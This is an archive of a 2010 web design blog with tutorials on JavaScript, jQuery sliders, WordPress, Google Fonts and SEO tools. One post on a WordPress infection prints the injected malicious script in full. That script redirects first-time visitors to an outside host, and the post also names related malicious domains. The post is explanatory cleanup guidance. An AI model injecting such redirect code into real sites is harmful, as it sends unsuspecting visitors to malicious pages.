Modern Web Design Articles and Tutorials » JavaScript

Use JavaScript to Print an Image

Devin Walker — Thu, 01 Jul 2010 23:17:21 +0000

Using JavaScript you can have images print when clicked on. What this script will do for you is open whatever image is specified in the JavaScript in a new browser window along with the Print options window.

This method is useful if you are looking for a way to have either a print button for a specific image on a page. Please refer to the demo to see exactly how this can be accomplished. Remember to specify the image's width and height in the JavaScript onClick event.

[inline]


Click to Print the Image Above

[/inline]

If you want to see the demo please click through and we'll show you how to use JavaScript to print images by clicking a link.

Demo JavaScript Print Image Button:

Click to Print the Image Above

Nothing happens when launching Dreamweaver CS5 on Mac

Devin Walker — Thu, 03 Jun 2010 21:32:59 +0000

So I recently started using a Mac at work and with the Adobe Creative Suite 5 just released I was pretty excited. The new additions to CS5 are great and I can see that working with WordPress will be a lot more streamlined. Anyways, I ran into a frustrating issue that a lot of other Mac/Dreamweaver CS5 users are encountering where launching the program results in a disabled dreamweaver.

Disabled Dreamweaver

When you are experiencing this problem you will see that Dreamweaver launches but your menu is limited to only a few options:

Here's how I fixed the problem:

First quit Dreamweaver CS5 if you have in launched (or kinda launched)
Open Finder and navigation to: Macintosh hd/users//library/application support/adobe/dreamweaver cs5/en-US/
Here you will find the folder "configuration" ... Rename this folder to 'configurationOld' and restart Dreamweaver

What this will do is force Dreamweaver to create that configuration folder again. Please note: this may not fix it for you and this solution has not even been mentioned by Adobe. Hope this helps you out!

Here's the link to the 'official' adobe KB article on their solution to fix Dreamweaver CS5's launching problem: Nothing happens when launching Adobe Dreamweaver CS5 on a Mac

Here's a useful thread at the Adobe Support Forums about this dreamweaver problem and possible solutions.

Google Unveils the Google Font Directory and API

Devin Walker — Thu, 20 May 2010 02:30:29 +0000

Google is looking to help all of us web and graphic designers out there who have been trying to break free of the CSS font-family limitations. How are they doing this? Today Google released the Google Font Directory and Google Font API in attempts to bring a selectable and dynamic font solution to the web. I'm expecting the directory in the future this solution will grow to become the web's leading robust and scalable font library and API.

The good things about this web font solution is that it is very easy to implement and the text is completely selectable (for copy-and-paste purposes). The downsides (both will eventually become irrelevant) are that not every browser will support it... mostly the old school ones that no one should care about anymore, and that it in it's current state the Google Font Directory is limited to a about 20+ fonts (of which you'd probably use about 10). As the web continues to evolve both of these 'downsides' will no longer be relevant.

Google Web Fonts
Using the Google Font API and Directory

Google's Font API

Google's font API is a part of Google Labs and is an easy to use application programmable interface (API) that allows you to select a font from Google's font directory and use it on any website of your choosing... for free! Applying a font from Google's Font Directory is a breeze, simply add a stylesheet link to your site's head and then use the font you selected from the directory in a CSS style. Bingo, bango, bongo.

Usage and Implementation

Here's a Google Font usage example:

First add our stylesheet to the head of your website.

[inline]

[/inline]

Next, let's apply the font we chose from the Google Font Directory it to a class on our site! We can do this in our master CSS stylesheet or in your head also (I'd recommend keeping your styles in the mastersheet).

[inline]

[/inline]

Now with this implemented properly using the quick example shown above you will see some sweet Google font below this paragraph that's selectable and easy to implement.

Check me out! This text is selectable and super easy to implement. Thanks Google!

Still Confused? One More Time

Often times, things explained the first time don't make sense. If you're still confused here's the jist

Step 1: Add a stylesheet link requesting the fonts from Google to your website (preferably in the head).

[inline]

[/inline]

Step 2: Style an element with the font you just requested in step 1. By element I mean any CSS class or ID.

[inline]

CSS selector {
  font-family: 'Font Name', serif;
}

[/inline]

Step 3: There is no step 3! Just repeat step 2 by styling elements you have already on your website.

Google's Font Directory

Google's font directory, though still in beta and limited to about 20+ fonts, is going to be widely adopted by web designers in the near future. Why? Because Google has made a very intuitive, free, and simple to implement solution. The fonts are free to use on any commercial and non-commercial web projects.

Comparable Web Font Solutions

Google isn't the first to come out with an entirely open source font library. Typekit and Fontdeck are doing the same thing: providing their users with a library of fonts that can be embedded on their websites. The difference is these companies don't have the muscle of Google, are many times more difficult to implement, and may cost money (not open source).

Google Font Solution Final Thoughts

GoDaddy WordPress Sites Infected by HolasionWeb Malicious Code

Devin Walker — Wed, 12 May 2010 17:28:19 +0000

Have you gotten calls from your clients hosted on GoDaddy about their WordPress site's being 'hacked'? Or perhaps this happened to you yourself. It seems there's a new report of thousands of WordPress sites being infected by malicious javascript inserted on their WordPress website.

It's not everyday that WordPress gets 'hacked' by something/one. Today one of my clients sent me a very distressed email claiming their site had been hacked. I thought that they were probably mistaken, but apparently not. It appears that a malicious piece of JavaScript is infecting WordPress sites. Most, if not all, hosted on WordPress. This WordPress infection by 'holasionweb.com' appears to set a cookie and has ill intentions. Let's take a look at what this attack is and how to fix it.

What WordPress Versions are Potentially Infected?

This has been seen on versions up to WordPress version 2.9.2.

What Does it Do to My WordPress FrontEnd?

Nothing much, you may not see any change at all unless you have a virus protection program installed and a flag is raised by that software when you go to your site in the browser.

What About the WordPress Admin Area?

This is where you will notice something has gone wrong. Take a look at this screenshot: You can immediately tell there's something wrong here.

What Does the Malicious Code Look Like?

Here's a look at the malicious code: [inline]

function setCookie(c_name,value,expiredays){
	var exdate=new Date();
	exdate.setDate(exdate.getDate()+expiredays);
	document.cookie=c_name+ "=" +escape(value)+
	((expiredays==null) ? "" : ";expires="+exdate.toGMTString());
}


function getCookie(c_name){
if (document.cookie.length>0)
  {
  c_start=document.cookie.indexOf(c_name + "=");
  if (c_start!=-1)
    {
    c_start=c_start + c_name.length+1;
    c_end=document.cookie.indexOf(";",c_start);
    if (c_end==-1) c_end=document.cookie.length;
    return unescape(document.cookie.substring(c_start,c_end));
    }
  }
return "";
}


var name=getCookie("pma_visited_theme1");
if (name==""){
	setCookie("pma_visited_theme1","1",20);
	var url="http://www4.suitcase52td.net/?p=p52dcWpkbG6Hnc3KbmNToKV1iqHWnG2dXseYlWibZmeWmQ%3D%3D";
	window.top.location.replace(url);
}else{


}

[/inline] Take a look at the script above, this is the problem.

Ok, So How Do I Fix the 'HolasionWeb' WordPress GoDaddy Issue?!

Download this fix that will detect the script on your site and get rid of it: Download HoliasionWeb.com Malicious Script WordPress Fix

Instructions for running the WordPress hack fix

Unzip and Upload the php file via FTP to your home directory
Navigate your browser to http://mywebsite.com/wordpress-fix.php where 'mywebsite' is your domain to start the fix note: the fix may take a few minutes to run
When it says complete, check to see if it's actually fixed and you're good to go!

Here's a link to the original solution: http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html This seems to have worked for my instance. Here's the link to the release that tipped me off on this... http://blog.sucuri.net/2010/05/lots-of-sites-reinfected-now-using.html http://sucuri.net/malware/entry/MW:MROBH:1 Other domains where's this malicious script has been: http://www.indesignstudioinfo.com/ls.php http://zettapetta.com/js.php http://holasionweb.com/oo.php

Lesson Here: Do Not Host with Go Daddy!

They are insecure, unreliable and have terrible support.

jFlow Slider Auto Slider with Pause Functionality

Devin Walker — Thu, 22 Apr 2010 00:02:41 +0000

Attention: jFlow Plus is Out

This article uses an outdated version of jFlow and, although it works just fine, lacks some enhancements. Please check out jFlow Plus on my other website WordImpressed.com! There you can read about jFlow Plus and view a cool demo.

jQuery sliders make a great website addition. Are you using the jQuery jFlow Slider Plug-in? Awesome! Out of the box this slider is pretty good. It's easy to modify and light weight. In this article I will show you how to add an auto slide functionality and pause functionality to the jFlow jQuery plug-in.

Why jFlow is a Good Slider

jFlow is a very light-weight slider. If you've been using sliders in your web design for some time perhaps you've had experiences with a few jQuery sliders that hasn't been so good. jFlow out-of-the-box is good, but let's make it great. One of the most requested features for this slider is to have the popular pause and autoslide functions.

The jFlow Plug-In

Here's a look at the jFlow plug-in Version 1.2: Notice how there's no coding for an automatic slide feature. [inline]

/* Copyright (c) 2008 Kean Loong Tan http://www.gimiti.com/kltan
* Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* jFlow
* Version: 1.0 (May 13, 2008)
* Requires: jQuery 1.2+
*/

(function($) {

$.fn.jFlow = function(options) {
var opts = $.extend({}, $.fn.jFlow.defaults, options);
var cur = 0;
var maxi = $(".jFlowControl").length;
$(this).find(".jFlowControl").each(function(i){
$(this).click(function(){
$(".jFlowControl").removeClass("jFlowSelected");
$(this).addClass("jFlowSelected");
var dur = Math.abs(cur-i+1);
$(opts.slides).animate({
marginLeft: "-" + (i * $(opts.slides).find(":first-child").width() + "px")
}, opts.duration*(dur));
cur = i;
});
});

$(opts.slides).before('<div id="jFlowSlide"></div>').appendTo("#jFlowSlide");

$(opts.slides).find("div").each(function(){
$(this).before('<div></div>').appendTo($(this).prev());
});

//initialize the controller
$(".jFlowControl").eq(cur).addClass("jFlowSelected");

var resize = function (x){
$("#jFlowSlide").css({
position:"relative",
width: opts.width,
height: opts.height,
overflow: "hidden"
});

$(opts.slides).css({
position:"relative",
width: $("#jFlowSlide").width()*$(".jFlowControl").length+"px",
height: $("#jFlowSlide").height()+"px",
overflow: "hidden"
});

$(opts.slides).children().css({
position:"relative",
width: $("#jFlowSlide").width()+"px",
height: $("#jFlowSlide").height()+"px",
"float":"left"
});

$(opts.slides).css({
marginLeft: "-" + (cur * $(opts.slides).find(":first-child").width() + "px")
});
}

resize();

$(window).resize(function(){
resize();
});

$(".jFlowPrev").click(function(){
if (cur > 0)
cur--;
else
cur = maxi -1;

$(".jFlowControl").removeClass("jFlowSelected");
$(opts.slides).animate({
marginLeft: "-" + (cur * $(opts.slides).find(":first-child").width() + "px")
}, opts.duration);
$(".jFlowControl").eq(cur).addClass("jFlowSelected");
});

$(".jFlowNext").click(function(){
if (cur < maxi - 1)
cur++;
else
cur = 0;

$(".jFlowControl").removeClass("jFlowSelected");
$(opts.slides).animate({
marginLeft: "-" + (cur * $(opts.slides).find(":first-child").width() + "px")
}, opts.duration);
$(".jFlowControl").eq(cur).addClass("jFlowSelected");
});
};

$.fn.jFlow.defaults = {
easing: "swing",
duration: 400,
width: "100%"
};

})(jQuery);

[/inline]

jFlow Original Download

jFlow Demo

Recently I put up a demo on my other website wordimpressed.com, you can view it here: jFlow Slider Demo on WordImpressed. Also, be sure to read the newer article I wrote about the jFlow Plus Release.

jFlow Auto Slide

Have you been searching on Google for an easy Auto Slide solution for the jQuery jFlow plug-in? Well, look no more... you have found it. Here's the solution below. Expand to see the code or download it using the link below.

[inline]

/* Copyright (c) 2008 Kean Loong Tan http://www.gimiti.com/kltan
 * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
 * jFlow
 * Version: 1.2 (July 7, 2008)
 * Requires: jQuery 1.2+
 */

(function($) {

 $.fn.jFlow = function(options) {
 var opts = $.extend({}, $.fn.jFlow.defaults, options);
 var randNum = Math.floor(Math.random()*11);
 var jFC = opts.controller;
 var jFS =  opts.slideWrapper;
 var jSel = opts.selectedWrapper;

 var cur = 0;
 var timer;
 var maxi = $(jFC).length;
 // sliding function
 var slide = function (dur, i) {
 $(opts.slides).children().css({
 overflow:"hidden"
 });
 $(opts.slides + " iframe").hide().addClass("temp_hide");
 $(opts.slides).animate({
 marginLeft: "-" + (i * $(opts.slides).find(":first-child").width() + "px")
 },
 opts.duration*(dur),
 opts.easing,
 function(){
 $(opts.slides).children().css({
 overflow:"hidden"
 });
 $(".temp_hide").show();
 }
 );

 }
 $(this).find(jFC).each(function(i){
 $(this).click(function(){
 dotimer();
 if ($(opts.slides).is(":not(:animated)")) {
 $(jFC).removeClass(jSel);
 $(this).addClass(jSel);
 var dur = Math.abs(cur-i);
 slide(dur,i);
 cur = i;
 }
 });
 });

 $(opts.slides).before('').appendTo(jFS);

 $(opts.slides).find("div").each(function(){
 $(this).before('').appendTo($(this).prev());
 });

 //initialize the controller
 $(jFC).eq(cur).addClass(jSel);

 var resize = function (x){
 $(jFS).css({
 position:"relative",
 width: opts.width,
 height: opts.height,
 overflow: "hidden"
 });
 //opts.slides or #mySlides container
 $(opts.slides).css({
 position:"relative",
 width: $(jFS).width()*$(jFC).length+"px",
 height: $(jFS).height()+"px",
 overflow: "hidden"
 });
 // jFlowSlideContainer
 $(opts.slides).children().css({
 position:"relative",
 width: $(jFS).width()+"px",
 height: $(jFS).height()+"px",
 "float":"left",
 overflow:"hidden"
 });

 $(opts.slides).css({
 marginLeft: "-" + (cur * $(opts.slides).find(":eq(0)").width() + "px")
 });
 }

 // sets initial size
 resize();

 // resets size
 $(window).resize(function(){
 resize();
 });

 $(opts.prev).click(function(){
 dotimer();
 doprev();

 });

 $(opts.next).click(function(){
 dotimer();
 donext();

 });

 var doprev = function (x){
 if ($(opts.slides).is(":not(:animated)")) {
 var dur = 1;
 if (cur > 0)
 cur--;
 else {
 cur = maxi -1;
 dur = cur;
 }
 $(jFC).removeClass(jSel);
 slide(dur,cur);
 $(jFC).eq(cur).addClass(jSel);
 }
 }

 var donext = function (x){
 if ($(opts.slides).is(":not(:animated)")) {
 var dur = 1;
 if (cur < maxi - 1)
 cur++;
 else {
 cur = 0;
 dur = maxi -1;
 }
 $(jFC).removeClass(jSel);
 //$(jFS).fadeOut("fast");
 slide(dur, cur);
 //$(jFS).fadeIn("fast");
 $(jFC).eq(cur).addClass(jSel);
 }
 }

 var dotimer = function (x){
 if((opts.auto) == true) {
 if(timer != null)
 clearInterval(timer);

 timer = setInterval(function() {
 $(opts.next).click();
 }, 3000);
 }
 }

 dotimer();
 };

 $.fn.jFlow.defaults = {
 controller: ".jFlowControl", // must be class, use . sign
 slideWrapper : "#jFlowSlide", // must be id, use # sign
 selectedWrapper: "jFlowSelected",  // just pure text, no sign
 auto: false,
 easing: "swing",
 duration: 400,
 width: "100%",
 prev: ".jFlowPrev", // must be class, use . sign
 next: ".jFlowNext" // must be class, use . sign
 };

})(jQuery);

[/inline]

jFlow with Auto Slide Functionality Download

jFlow with Auto Slide and Pause Functionality

Now that you have the slider with auto slide functionality there's a timer that is in effect. Let's take this timer out whenever the user's mouse is outside the slider area. Here's the modified jFlow code below. Download it using the link below.

[inline]

/* Copyright (c) 2008 Kean Loong Tan http://www.gimiti.com/kltan

 * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)

 * jFlow

 * Version: 1.2 (July 7, 2008)

 * Requires: jQuery 1.2+

 */

 

(function($) {



	$.fn.jFlow = function(options) {

		var opts = $.extend({}, $.fn.jFlow.defaults, options);

		var randNum = Math.floor(Math.random()*11);

		var jFC = opts.controller;

		var jFS =  opts.slideWrapper;

		var jSel = opts.selectedWrapper;
		
		



		var cur = 0;

		var timer;

		var maxi = $(jFC).length;

		// sliding function

		var slide = function (dur, i) {

			$(opts.slides).children().css({

				overflow:"hidden"

			});

			$(opts.slides + " iframe").hide().addClass("temp_hide");

			$(opts.slides).animate({

				marginLeft: "-" + (i * $(opts.slides).find(":first-child").width() + "px")

				},

				opts.duration*(dur),

				opts.easing,

				function(){

					$(opts.slides).children().css({

						overflow:"hidden"

					});

					$(".temp_hide").show();

				}

			);

			

		}

		$(this).find(jFC).each(function(i){

			$(this).click(function(){

				dotimer();

				if ($(opts.slides).is(":not(:animated)")) {

					$(jFC).removeClass(jSel);

					$(this).addClass(jSel);

					var dur = Math.abs(cur-i);

					slide(dur,i);

					cur = i;

				}

			});

		});	

		

		$(opts.slides).before('').appendTo(jFS);

		

		$(opts.slides).find("div").each(function(){

			$(this).before('').appendTo($(this).prev());

		});

		

		//initialize the controller

		$(jFC).eq(cur).addClass(jSel);

		

		var resize = function (x){

			$(jFS).css({

				position:"relative",

				width: opts.width,

				height: opts.height,

				overflow: "hidden"

			});

			//opts.slides or #mySlides container

			$(opts.slides).css({

				position:"relative",

				width: $(jFS).width()*$(jFC).length+"px",

				height: $(jFS).height()+"px",

				overflow: "hidden"

			});

			// jFlowSlideContainer

			$(opts.slides).children().css({

				position:"relative",

				width: $(jFS).width()+"px",

				height: $(jFS).height()+"px",

				"float":"left",

				overflow:"hidden"

			});

			

			$(opts.slides).css({

				marginLeft: "-" + (cur * $(opts.slides).find(":eq(0)").width() + "px")

			});

		}

		

		// sets initial size

		resize();



		// resets size

		$(window).resize(function(){

			resize();						  

		});

		

		$(opts.prev).click(function(){

			dotimer();

			doprev();

			

		});

		

		$(opts.next).click(function(){

			dotimer();

			donext();

			

		});

		

		var doprev = function (x){

			if ($(opts.slides).is(":not(:animated)")) {

				var dur = 1;

				if (cur > 0)

					cur--;

				else {

					cur = maxi -1;

					dur = cur;

				}

				$(jFC).removeClass(jSel);

				slide(dur,cur);

				$(jFC).eq(cur).addClass(jSel);

			}

		}

		

		var donext = function (x){

			if ($(opts.slides).is(":not(:animated)")) {

				var dur = 1;

				if (cur < maxi - 1)

					cur++;

				else {

					cur = 0;

					dur = maxi -1;

				}

				$(jFC).removeClass(jSel);

				//$(jFS).fadeOut("fast");

				slide(dur, cur);

				//$(jFS).fadeIn("fast");

				$(jFC).eq(cur).addClass(jSel);

			}

		}

		

		var dotimer = function (x){

			if((opts.auto) == true) {

				if(timer != null) 

					clearInterval(timer);

			    

        		timer = setInterval(function() {

	                	$(opts.next).click();

						}, 10000);
				

			}

		}



		dotimer();
//Pause/Resume at hover
		$(opts.slides).hover(
		function() {
		clearInterval(timer);
		},
		
		function() {
		dotimer();
		}
		);
	};

	

	$.fn.jFlow.defaults = {

		controller: ".jFlowControl", // must be class, use . sign

		slideWrapper : "#jFlowSlide", // must be id, use # sign

		selectedWrapper: "jFlowSelected",  // just pure text, no sign

		auto: false,

		easing: "swing",

		duration: 400,

		width: "100%",

		prev: ".jFlowPrev", // must be class, use . sign

		next: ".jFlowNext" // must be class, use . sign

	};

	

})(jQuery);

[/inline]

jFlow Auto Slide with Pause Feature Download

Some Extra jFlow Stuff For Ya!

Tip: Notice how we added the code below the dotimer(); call on line 153 before the function's closing "};" [inline]


//Pause/Resume at hover
 $(opts.slides).hover(
 function() {
 clearInterval(timer);
 },

function() {
 dotimer();
 }
 );

[/inline]

Now when someone hovers over the slider area the time will not be going because the pause is on. Once the mouse leaves the slider the timer resumes and your slider is not paused.

Extra jFlow Auto Hint: To increase the amount of time it takes to for the image to slide increase the following number:

[inline]

[/code]

var dotimer = function (x){

if((opts.auto) == true) {

if(timer != null)

clearInterval(timer);

timer = setInterval(function() {

$(opts.next).click();

}, 10000);

}

}

If you like this please comment below! Problems? Contact me or comment below!

WordPress Lavalamp Navigation Tutorial

Devin Walker — Wed, 10 Mar 2010 20:11:51 +0000

Lavalamp is an awesome jQuery plug-in that makes really cool effects for WordPress-based menus and navigation links, and as a bonus it is very lightweight. It can be a bit tricky to implement in WordPress, but after you read this tutorial hopefully you'll be implementing it with ease. Follow along and let's get your site's navigation using the jQuery lavalamp effect (super cool)!

jQuery, Lavalamp, Easing and WordPress

Ok so if you haven't yet you're going to need to download all the appropriate scripts to make this work and have a WordPress site ready to work with. I've provided download links at the bottom of this post for you or also you can get them here: jQuery 1.4.1 min, jQuery Lavalamp Plug-in, and jQuery Easing Plug-in.

Why Use Lavalamp jQuery Navigation?

Because it's cool and increases user experience while still being very SEO friendly and lightweight. I personally use the lavalamp navigation on my portfolio website: Lavalamp Example 1. Also, I recently implemented it on another website I built and recently launched: Lavalamp Example 2. As you can see the effect works well and is very user friendly. Now, let's look in to how to make it work.

Here's the official website for the jQuery plug-in here: jQuery Lavalamp Plugin Page

To get started you must have WordPress installed on a web server and some knowledge of web development, HTML, and jQuery. Ok, still ready? Now download the jQuery Easing Plug-in here: jQuery Easing Plug-in and also download the jQuery Lavalamp Plug-in Here (min version): jQuery Lavalamp Plug-in

Insert the following between the header tags

Please note that my syntax highlighter has added some extra characters in the links. You will want to change these links to either Google or your own hosted scripts anyways...

[inline]

[/inline]

First, you will need to change in header the src='path/to' to a link to the appropriate path . The WordPress file to put this code in is title header.php and can typically be found in this location: mydomain/wp-content/themes/mytheme/header.php.

Further explanation: the second script after calling on jQuery is the Easing plug-in that makes this effect real smooth. The last script initiates the lavalamp function. You will need to change the '#nav' to your unordered list's ID if you are not using the same naming convention as I am.

Connecting to the WordPress Navigation

[inline]


	 Home                
         About
         Hire Me

[/inline]

Connecting this effect to a WordPress dynamic navigation is easy. Simply go into the header.php file and provide your navigational unordered list the appropriate class="LavaLampBottomStyle" naming and you're all set after you call on the appropriate scripts as mentioned above. Just an FYI, if you have a lot of other jQuery effects on page it could cause some problems with them... just experiment around with it. I've experienced minor issues, but nothing that's too hard to figure out (no roadblocks).

[inline]

Example Menu

Below is an example of how this effect can be used anywhere on a site. Here you can see I've implemented it directly into a WordPress page using inline code. The links don't go anywhere for a reason, but they can easily be made to go anywhere you'd like.

[/inline]

As you can see this effect works well for site navigation, but can be used to create some other cool effects. Please let me know if you have trouble with this tutorial, I've tried to explain everything to the best of my ability. Leave a comment and subscribe to the RSS!

Resources for jQuery Scripts

Download: jQuery 1.4.1 min

Download: jQuery Lavalamp Plug-in

Download: jQuery Easing Plug-in

Download: jQuery Lavalamp Plug-in

WordPress Fix: Attribute “role” is not a valid attribute

Devin Walker — Fri, 04 Dec 2009 23:58:15 +0000

I like to design websites that are W3C Compliant. Your WordPress theme may require some tweaking to be valid. One error I kept receiving was: Attribute "role" is not a valid attribute. Did you mean "frameborder" or "scrolling"? I will show you how to correct this error. Simply put, to correct the error we are just going to remove the role="search" attribute from your theme's search form. 1. Navigate to your theme folder within your WordPress directory. 2. Open the file containing your search form in the theme. It may be called "searchform.php" or something similar. 3. Remove the role="search" attribute and save. [inline]

$form = '

Should now read:

$form = '

4. Replace the file on your web server.

JavaScript Email Address Validation

Devin Walker — Fri, 04 Dec 2009 22:58:45 +0000

JavaScript makes it easy to validate form fields such as the commonly used email address field. For web designers trying to validate the email field, this simple script provided by Smart Webby works great. I thought I'd pass this along, it can be used to easily validate the email field of your contact, comment, etc. forms. Please let me know what you think or if you're having trouble.

[inline] [/inline]

To begin, here's a working example. Enter an invalid email address and click submit. You should see a JavaScript alert (the message can be customized).

Demonstration:

How to implement in 2 steps:

First Step: Copy and paste this validation JavaScript into the HTML header tags of your page.

Step Two: Copy and paste the form code or modify yours to work with the code (or visa versa).


                Enter an Email Address :

Please note: All credit goes to www.smartwebby.com for writing this script. You can view the article here. You can also find a description of the code at that url.

Top-10 Free Website SEO Analysis Tools of 2009

Devin Walker — Wed, 02 Dec 2009 00:40:47 +0000

There are many useful website graders available for free on the web. You don't have to pay for quality tools, you just need to know where to look. I've used plenty of SEO tools on my website, the key is to review the results objectively and compare the reports with one another.

Some tools didn't make the top-10 list and I've provided an explanation as to why not below each. Please enjoy my top-10 list of website SEO analysis tools for 2009! Hope you enjoy... please leave a comment.

1. Google Analytics

Review: Every website should utilize Google Analytics to track visitors, review keywords, track adsense profits and more. This tool is hands down the best out there and it's free. Simply include a tracking script on your pages provided to you once you sign up and you're set. Don't forget to filter out your own IP addresses for accurate reporting!

Overall Rating: 10/10

2. Hubspot's Website Grader

Review: Hubspot generates comprehensive reports that weigh a variety of factors in calculating the final grade. The factors include Google Page Rank, website directory listings (DMOZ, Yahoo!), domain age, etc.

My Site's Result:

[inline] [/inline]

Overall Rating: 9/10

3. Alexa

Review: Provides more of a high-level overview of your site's rank against their top-ranked sites. If you're in the top 100,000 that's good news and you'll have more to view. For me, perhaps one day I will be up there but for now it seems I've got to climb a few million. Check them out, not sure they deserve the 2-rank, but the site is valuable.

My Site's Result:

[inline] [/inline]

Overall Rating: 8.5/10

4. Site Report Card

Review: Compete is a very popular tool for webmasters and reminds me of Google Analytics. You can view a lot of information without signing up, which is always a plus. Although, if you want to embed a cool graph like you see below (only cool if you have a lot of visitors... unlike me) then you must register with the website.

My Site's Analytics Graph:

Overall Rating: 8/10

5. Quantcast

Review: Quantcast is an uncoming competitor to Alexa and provides good information about higher traffic sites. Analysis includes traffic estimates, audience location and demographic as well as lifestyle. Interesting analysis compared to some of the others.

Overall Rating: 7.5/10

6. BuiltWith

Review: BuildWith is becoming one of the more popular free analysis tools on the web. Visitors can look up any site they wish and see detailed traffic, visitor and SEO analysis. I like how they have a "Technology Profile" that shows your server info, tracking system, and frameworks used. They don't give you the whole shebang for free, but you get to see quiet a lot of what BuiltWith has to offer.

Overall Rating: 7/10

7. Site Report Card

Review: Site Report Card is a legitimate tool that helps analyze links, meta tags, spelling, keywords and html. Very in depth reports help you resolve the issues it finds. Search engine analysis provides thorough link popularity reporting and search url index totals.

Overall Rating: 6.5/10

8. Xinu Returns

Review: Xinu Returns is appealing because of its simplicity. All the analysis info is right there for you once you enter your website's URL: the categories include backlinks, syndication, validations, and more. Points off for an annoying pop-up and old look-and-feel.

Overall Rating: 6.5/10

9. Review My Web

Review: Reviewmyweb.com is a website review tool that ranks your website against competitors and popular search engines. Unlike hubspot's website grader tool the email field is not opinional (the only way to receive a report is via email). Not sure if they agree not to sell your email address afterwards... hopefully not.

Note: It does take awhile to receive the email containing a link to your website's report. I thought mine never came, but I checked an hour or so after submitting my analysis and it was in my inbox. Once I reviewed the report it was pretty slim but included some helpful information.

Overall Rating:5/10

10. Submit Express Link Popularity

Review: The last and final SEO tool to make this year's list is Submit Express' link popularity checker. This tool is free and will analyze your website's popularity (links) on several indexes and social networks. The report is very basic, but it returns extremely quick results and compares your website's rank to a wide spectrum of results. Worth a check if you feel the need.

Overall Rating: 4/10

Do you have a tool you'd like to share? Please leave a comment below and let others know! You can also contact me and tell me why it should be included. Oh yes, and subscribe to my RSS feed :]

Easy Masked Input Forms

Devin Walker — Tue, 10 Nov 2009 23:02:02 +0000

I recently did some freelance work that required using masked forms on common field inputs: credit card information, phone numbers, dates, etc. To satisfy this request I used jQuery and meioMask - a jQuery plug-in. First off, click here to view the working demo or click the image below: To create a form similar to the demo above: 1. Visit the meioMask Website, the documentation and directions are straight-forward for setting up your form. 2. Apply CSS to style your forms. 3. Make your forms function with PHP. 4. Upload your forms to the web. Resources: meioMask Website - Read meioMask for MooTools meioMask's page on jQuery jQuery - Needed in order for meioMask to function properly. Need some help? I'm available for freelance work: please contact me! Note: One thing I am noticing is there's a delay when entering the date in the input field, not a major problem but could confuse some users.